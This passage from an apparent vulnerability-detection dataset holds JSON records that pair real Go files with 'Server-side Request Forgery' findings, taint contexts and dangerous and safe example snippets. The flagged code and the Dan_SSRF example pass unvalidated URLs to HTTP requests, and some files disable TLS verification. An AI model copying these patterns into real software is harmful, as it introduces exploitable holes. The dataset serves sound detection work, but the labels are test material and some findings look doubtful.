(rc *OperatorRmdClient) GetAddressPrefix() string {\n\tif reflect.DeepEqual(rc.client, http.DefaultClient) {\n\t\treturn httpPrefix\n\t}\n\treturn httpsPrefix\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 462, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 462, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 463, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "745e87b27b82c6e5ed94ec043cb3395b5ebcaef7f4405e4065d5cc0e39ef1e82", "license": {"spdx": ["MIT"], "repo": "FajarTheGGman/Dork-Search", "path": "dork.go", "repo_head_hexsha": "3aa03130a3fac91b9232b02ee3269604208d4c89", "stack_hexsha": "cc38421688c25ca546aaee91effe2acff138b8ff", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 42, "entireCode": "// Please don't recode my program \n// because i take a long time to complete this project\n// Copyright© 2019 by \npackage main\n\nimport (\n\n\"fmt\"\n\"net/http\"\n\"github.com/PuerkitoBio/goquery\"\n\"github.com/mgutz/ansi\"\n\"time\"\n\n)\n\nfunc main(){\ntitle := ansi.Color(\"Dork-Search By \", \"green+b:white\")\nb1 := ansi.Color(\"\\n[=======================]\\n\", \"blue\")\nb2 := ansi.Color(\"Coder : \\n\", \"green\")\nb3 := ansi.Color(\"Fb : daus / Ace.of.spades729\\n\", \"green\")\nb4 := ansi.Color(\"IG : fajar_firdaus_7\\n\", \"green\")\nb5 := ansi.Color(\"YT : iTech7732\\n\", \"green\")\nb6 := ansi.Color(\"[=======================]\\n\", \"blue\")\ntanda1 := ansi.Color(\"[\", \"green\")\ntanda2 := ansi.Color(\"]\", \"green\")\ninput2 := ansi.Color(\"[ Input ] > \", \"white+b:blue\")\nresult := ansi.Color(\"[ Result ]\", \"green+b:blue\")\n\nfmt.Print(title)\nfmt.Print(b1)\nfmt.Print(b2)\nfmt.Print(b3)\nfmt.Print(b4)\nfmt.Print(b5)\nfmt.Print(b6)\n\nvar waktu = time.Now()\n\nvar in string\nfmt.Print(tanda1, waktu.Hour(), waktu.Minute(), waktu.Second(), tanda2, \" \", input2)\nfmt.Scan(&in)\ntest, error := http.Get(\"http://www1.search-results.com/web?q=\"+ in);\nif error != nil{\n\tfmt.Print(\"Error Gan\")\n}\ndefer test.Body.Close()\n\ndom, err := goquery.NewDocumentFromReader(test.Body)\nif err != nil{\n\tfmt.Print(\"[!] Error\")\n}\n\ndom.Find(\".algo-title\").Each(func(index int, element *goquery.Selection){\n\thasil, tampil := element.Attr(\"href\")\n\tif tampil {\n\t\tfmt.Print(result)\n\tfmt.Print(hasil + \"\\n\")\n}\n})\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Scan"}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 42, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "cd9c89a83191108808ab67b3565883f3e313f334a6704d5a1ab2576a93f93016", "license": {"spdx": ["MIT"], "repo": "ecerulm/amazon-cloudwatch-agent", "path": "internal/k8sCommon/kubeletutil/kubeletclient.go", "repo_head_hexsha": "da27bf33f5338200135331c63d518f5e10b42428", "stack_hexsha": "0bd196180efba28e7713095ad6a40d593950d832", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 36, "entireCode": "// Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.\n// SPDX-License-Identifier: MIT\n\npackage kubeletutil\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"errors\"\n\n\t\"github.com/aws/amazon-cloudwatch-agent/internal/tls\"\n\tcorev1 \"k8s.io/api/core/v1\"\n)\n\ntype KubeClient struct {\n\tPort string\n\tBearerToken string\n\tKubeIP string\n\tresponseTimeout time.Duration\n\troundTripper http.RoundTripper\n\ttls.ClientConfig\n}\n\nvar ErrKubeClientAccessFailure = errors.New(\"KubeClinet Access Failure\")\n\nfunc (k *KubeClient) ListPods() ([]corev1.Pod, error) {\n\tvar result []corev1.Pod\n\turl := fmt.Sprintf(\"https://%s:%s/pods\", k.KubeIP, k.Port)\n\n\tvar req, err = http.NewRequest(\"GET\", url, nil)\n\tvar resp *http.Response\n\n\tk.InsecureSkipVerify = true\n\ttlsCfg, err := k.ClientConfig.TLSConfig()\n\tif err != nil {\n\t\treturn result, err\n\t}\n\n\tif k.roundTripper == nil {\n\t\t// Set default values\n\t\tif k.responseTimeout < time.Second {\n\t\t\tk.responseTimeout = time.Second * 5\n\t\t}\n\t\tk.roundTripper = &http.Transport{\n\t\t\tTLSHandshakeTimeout: 5 * time.Second,\n\t\t\tTLSClientConfig: tlsCfg,\n\t\t\tResponseHeaderTimeout: k.responseTimeout,\n\t\t}\n\t}\n\n\tif k.BearerToken != \"\" {\n\t\ttoken, err := ioutil.ReadFile(k.BearerToken)\n\t\tif err != nil {\n\t\t\treturn result, err\n\t\t}\n\t\treq.Header.Set(\"Authorization\", \"Bearer \"+strings.TrimSpace(string(token)))\n\t}\n\treq.Header.Add(\"Accept\", \"application/json\")\n\n\tresp, err = k.roundTripper.RoundTrip(req)\n\tif err != nil {\n\t\tlog.Printf(\"E! error making HTTP request to %s: %s\", url, err)\n\t\treturn result, ErrKubeClientAccessFailure\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tlog.Printf(\"E! %s returned HTTP status %s\", url, resp.Status)\n\t\treturn result, ErrKubeClientAccessFailure\n\t}\n\n\tb, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tlog.Printf(\"E! Fail to read request %s body: %s\", req.URL.String(), err)\n\t\treturn result, err\n\t}\n\n\tpods := corev1.PodList{}\n\terr = json.Unmarshal(b, &pods)\n\tif err != nil {\n\t\tlog.Printf(\"E! parsing response: %s\", err)\n\t\treturn result, err\n\t}\n\n\treturn pods.Items, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 36, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "544e9c2988a0212aa2538356a71ab40af79d74c118f20afdf4830b47c1a5d698", "license": {"spdx": ["MIT"], "repo": "liamitus/go-couchdb", "path": "main.go", "repo_head_hexsha": "a4e592f5b18acf0294360cfff93765beeec976d5", "stack_hexsha": "caeed2854d36c21c9eace74cc5ccee43a62e8e6f", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 47, "entireCode": "package couchdb\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n)\n\n// The database itself.\ntype Database struct {\n\tUrl string\n}\n\n// Constructor for a new Database.\n// Accepts optional failure and success messages (in that order).\nfunc Open(url string, msgs ...string) Database {\n\tdb := Database{url}\n\t// Otherwise create the table does not exist.\n\tif !db.exists(\"\", msgs...) {\n\t\tdb.Put(\"\", nil)\n\t}\n\treturn db\n}\n\n// Perform a GET request to the database.\nfunc (d *Database) Get(path string, data []byte) (*http.Response, error) {\n\treturn d.query(\"GET\", path, data)\n}\n\n// Perform a PUT request to the database.\nfunc (d *Database) Put(path string, data []byte) (*http.Response, error) {\n\treturn d.query(\"PUT\", path, data)\n}\n\n// Perform a DELETE request to the database.\nfunc (d *Database) Delete(path string, data []byte) (*http.Response, error) {\n\treturn d.query(\"DELETE\", path, data)\n}\n\n// Simplifies making a request to the database into a single function call.\nfunc (d *Database) query(requestType string, path string, data []byte) (*http.Response, error) {\n\turl := fmt.Sprintf(\"%s/%s\", d.Url, path)\n\tvar req *http.Request\n\tvar err error\n\tif data == nil {\n\t\treq, err = http.NewRequest(requestType, url, nil)\n\t} else {\n\t\treq, err = http.NewRequest(requestType, url, bytes.NewBuffer(data))\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tclient := &http.Client{}\n\treturn client.Do(req)\n}\n\n// Checks a given URL to see if the response returns without error.\n// Accepts optional failure and success messages (in that order).\nfunc (d *Database) exists(url string, msgs ...string) bool {\n\tif resp, err := d.Get(url, nil); err != nil || resp.StatusCode != 200 {\n\t\tif len(msgs) > 0 {\n\t\t\tfmt.Println(msgs[0])\n\t\t}\n\t\tif err != nil {\n\t\t\tfmt.Println(fmt.Sprintf(\n\t\t\t\t\"Database is not running/unreachable at %q\", d.Url))\n\t\t\tos.Exit(0)\n\t\t}\n\t\treturn false\n\t}\n\n\tif len(msgs) > 1 {\n\t\tfmt.Println(msgs[1])\n\t}\n\n\treturn true\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 47, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "8108f4dd62f10b069e96afb0a15a38b4cbe619e35cd8052b3eb092f9b5c5d5c7", "license": {"spdx": ["Apache-2.0"], "repo": "irappa-pattar/PluginCiscoACI", "path": "caputilities/redfishClient.go", "repo_head_hexsha": "e39afbfb82c02683f8d8f19b927c71e57b08d695", "stack_hexsha": "c04eb76a910ccdcfdb8ddf06d2931b1c5008fef3", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 74, "entireCode": "//(C) Copyright [2020] Hewlett Packard Enterprise Development LP\n//\n//Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n//not use this file except in compliance with the License. You may obtain\n//a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n//Unless required by applicable law or agreed to in writing, software\n//distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n//WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n//License for the specific language governing permissions and limitations\n// under the License.\n\n//Package caputilities ...\npackage caputilities\n\nimport (\n\t\"bytes\"\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\tdmtfmodel \"github.com/ODIM-Project/ODIM/lib-dmtf/model\"\n\tlutilconf \"github.com/ODIM-Project/ODIM/lib-utilities/config\"\n\t\"github.com/ODIM-Project/PluginCiscoACI/config\"\n\t\"github.com/gofrs/uuid\"\n\tlog \"github.com/sirupsen/logrus\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\n//RedfishDevice struct definition\ntype RedfishDevice struct {\n\tHost string `json:\"hostAddress\"`\n\tUsername string `json:\"username,omitempty\"`\n\tPassword string `json:\"password,omitempty\"`\n\tToken string `json:\"token,omitempty\"`\n\tTags []string `json:\"Tags\"`\n\tRootNode *dmtfmodel.ServiceRoot `json:\"rootNode,omitempty\"`\n\tComputerSystems []*Identifier\n\tPostBody []byte `json:\"PostBody,omitempty\"`\n\tLocation string `json:\"Location\"`\n}\n\n//Identifier struct definition\ntype Identifier struct {\n\tUUID uuid.UUID\n\tURI string\n}\n\n//RedfishClient struct definition\ntype RedfishClient struct {\n\thttpClient *http.Client\n}\n\nvar redfishServiceRootURI = \"/redfish/v1\"\n\n// GetRedfishClient : Returns a new RedfishClient with insecure flag set.\nfunc GetRedfishClient() (*RedfishClient, error) {\n\tvar err error\n\tnewClient := RedfishClient{}\n\thttpConf := &lutilconf.HTTPConfig{\n\t\tCACertificate: &config.Data.KeyCertConf.RootCACertificate,\n\t}\n\tif newClient.httpClient, err = httpConf.GetHTTPClientObj(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &newClient, nil\n}\n\n// Get : Executes the REST call with the specified host and URI, then returns the response object.\nfunc (client *RedfishClient) Get(device *RedfishDevice, requestURI string) (*http.Response, error) {\n\tendpoint := fmt.Sprintf(\"https://%s%s\", device.Host, requestURI)\n\treq, err := http.NewRequest(\"GET\", endpoint, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Close = true\n\treq.Header.Set(\"Accept\", \"application/json\")\n\tif device.Token != \"\" {\n\t\treq.Header.Set(\"X-Auth-Token\", device.Token)\n\t}\n\treq.Close = true\n\n\tresp, err := client.httpClient.Do(req)\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\treturn resp, nil\n}\n\n// GetRootService : Retrieves the ServiceRoot endpoint for the device and saves the return in the device object\nfunc (client *RedfishClient) GetRootService(device *RedfishDevice) error {\n\tresp, err := client.Get(device, redfishServiceRootURI)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif resp.StatusCode >= 300 {\n\t\tbody, err := ioutil.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\tlog.Error(err.Error())\n\t\t}\n\t\terrMsg := \"Could not retrieve ServiceRoot for \" + device.Host + \", got: \" + string(body)\n\t\tlog.Error(errMsg)\n\t\treturn fmt.Errorf(errMsg)\n\t}\n\tserviceRoot := &dmtfmodel.ServiceRoot{}\n\tjson.Unmarshal(body, serviceRoot)\n\tdevice.RootNode = serviceRoot\n\treturn nil\n}\n\n// BasicAuthWithDevice : Performs authentication with the given device and saves the token\nfunc (client *RedfishClient) BasicAuthWithDevice(device *RedfishDevice, requestURI string) (*http.Response, error) {\n\t// if device.RootNode == nil {\n\t// \treturn errors.New(\"no ServiceRoot found for device\")\n\t// }\n\tendpoint := fmt.Sprintf(\"https://%s%s\", device.Host, requestURI)\n\treq, err := http.NewRequest(\"GET\", endpoint, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Close = true\n\treq.Header.Set(\"Accept\", \"application/json\")\n\tauth := device.Username + \":\" + string(device.Password)\n\tBasicauth := \"Basic \" + base64.StdEncoding.EncodeToString([]byte(auth))\n\treq.Header.Add(\"Authorization\", Basicauth)\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\treq.Close = true\n\n\tresp, err := client.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn resp, nil\n}\n\n// GetWithBasicAuth : Performs authentication with the given device and saves the token\nfunc (client *RedfishClient) GetWithBasicAuth(device *RedfishDevice, requestURI string) (*http.Response, error) {\n\n\tendpoint := fmt.Sprintf(\"https://%s%s\", device.Host, requestURI)\n\treq, err := http.NewRequest(\"GET\", endpoint, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Close = true\n\treq.Header.Set(\"Accept\", \"application/json\")\n\tauth := device.Username + \":\" + string(device.Password)\n\tBasicauth := \"Basic \" + base64.StdEncoding.EncodeToString([]byte(auth))\n\treq.Header.Add(\"Authorization\", Basicauth)\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\treq.Close = true\n\n\tresp, err := client.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn resp, nil\n}\n\n// SubscribeForEvents :Subscribes for events with Basic Auth\nfunc (client *RedfishClient) SubscribeForEvents(device *RedfishDevice) (*http.Response, error) {\n\tendpoint := fmt.Sprintf(\"https://%s%s\", device.Host, \"/redfish/v1/EventService/Subscriptions\")\n\treq, err := http.NewRequest(\"POST\", endpoint, bytes.NewBuffer(device.PostBody))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.Close = true\n\treq.Header.Set(\"Accept\", \"application/json\")\n\tauth := device.Username + \":\" + string(device.Password)\n\tBasicauth := \"Basic \" + base64.StdEncoding.EncodeToString([]byte(auth))\n\treq.Header.Add(\"Authorization\", Basicauth)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Close = true\n\tvar resp *http.Response\n\tresp, err = client.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn resp, nil\n}\n\n// DeleteSubscriptionDetail will accepts device struct\n// and it will delete the subscription detail\nfunc (client *RedfishClient) DeleteSubscriptionDetail(device *RedfishDevice) (*http.Response, error) {\n\treq, err := http.NewRequest(\"DELETE\", device.Location, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Close = true\n\tauth := device.Username + \":\" + string(device.Password)\n\tBasicauth := \"Basic \" + base64.StdEncoding.EncodeToString([]byte(auth))\n\treq.Header.Add(\"Authorization\", Basicauth)\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"Accept\", \"application/json\")\n\treq.Close = true\n\n\tresp, err := client.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn resp, nil\n}\n\n// GetSubscriptionDetail will accepts device struct\n// and it will get the subscription detail\nfunc (client *RedfishClient) GetSubscriptionDetail(device *RedfishDevice) (*http.Response, error) {\n\treq, err := http.NewRequest(\"GET\", device.Location, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Close = true\n\treq.Header.Set(\"Accept\", \"application/json\")\n\tauth := device.Username + \":\" + string(device.Password)\n\tBasicauth := \"Basic \" + base64.StdEncoding.EncodeToString([]byte(auth))\n\treq.Header.Add(\"Authorization\", Basicauth)\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\treq.Close = true\n\n\tresp, err := client.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn resp, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 73, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 73, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 74, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "3e12f635c2de45e9b79c322b01d2057a05c24df91fe844c6ee64297871722ac3", "license": {"spdx": ["MIT"], "repo": "muharihar/d3ta-go", "path": "connector/covid19/covid19goid/covid19.go", "repo_head_hexsha": "27ad6844f2c5cf38d1753fa0d346d612e7de5eb9", "stack_hexsha": "e1746284cc390e03a0013d016bc02658dfc6bd6d", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 57, "entireCode": "package covid19goid\n\nimport (\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net\"\n\t\"net/http\"\n\t\"time\"\n\n\tc19type \"github.com/muharihar/d3ta-go/connector/covid19/covid19goid/types\"\n)\n\n// NewCovid19 new Covid19 Client SDK\nfunc NewCovid19(config Config, httpClient *http.Client) *Covid19 {\n\n\tif httpClient == nil {\n\t\tnetTransport := &http.Transport{\n\t\t\tDial: (&net.Dialer{\n\t\t\t\tTimeout: 5 * time.Second,\n\t\t\t}).Dial,\n\t\t\tTLSHandshakeTimeout: 5 * time.Second,\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t}\n\t\thttpClient = &http.Client{Timeout: time.Second * 10, Transport: netTransport}\n\t}\n\n\treturn &Covid19{Server: config.Server, httpClient: httpClient}\n}\n\n// Covid19 Client SDK\ntype Covid19 struct {\n\tServer string\n\thttpClient *http.Client\n}\n\nfunc (c *Covid19) doRequest(req *http.Request) ([]byte, error) {\n\tres, err := c.httpClient.Do(req)\n\tif err != nil {\n\t\treturn []byte(`{}`), err\n\t}\n\tdefer res.Body.Close()\n\n\tif res.StatusCode > 200 {\n\t\treturn nil, fmt.Errorf(\"ERROR:[%v] %s; URL: %s\", res.StatusCode, res.Status, req.URL)\n\t}\n\n\tbody, err := ioutil.ReadAll(res.Body)\n\treturn body, err\n}\n\nfunc (c *Covid19) getRequest(module string, body io.Reader) ([]byte, error) {\n\turl := fmt.Sprintf(\"%s/%s\", c.Server, module)\n\n\treq, err := http.NewRequest(\"GET\", url, body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.Header.Add(\"Content-type\", \"application/json\")\n\n\tresp, err := c.doRequest(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn resp, nil\n}\n\n// GetUpdate get Update.json\nfunc (c *Covid19) GetUpdate() (*c19type.UpdateResponse, error) {\n\tresp, err := c.getRequest(\"public/api/update.json\", nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trespObj := c19type.UpdateResponse{}\n\terr = json.Unmarshal(resp, &respObj)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &respObj, nil\n}\n\n// GetData get Data.json\nfunc (c *Covid19) GetData() (*c19type.DataResponse, error) {\n\tresp, err := c.getRequest(\"public/api/data.json\", nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trespObj := c19type.DataResponse{}\n\terr = json.Unmarshal(resp, &respObj)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &respObj, nil\n}\n\n// GetProv get Prov.json\nfunc (c *Covid19) GetProv() (*c19type.ProvResponse, error) {\n\tresp, err := c.getRequest(\"public/api/prov.json\", nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trespObj := c19type.ProvResponse{}\n\terr = json.Unmarshal(resp, &respObj)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &respObj, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 57, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": 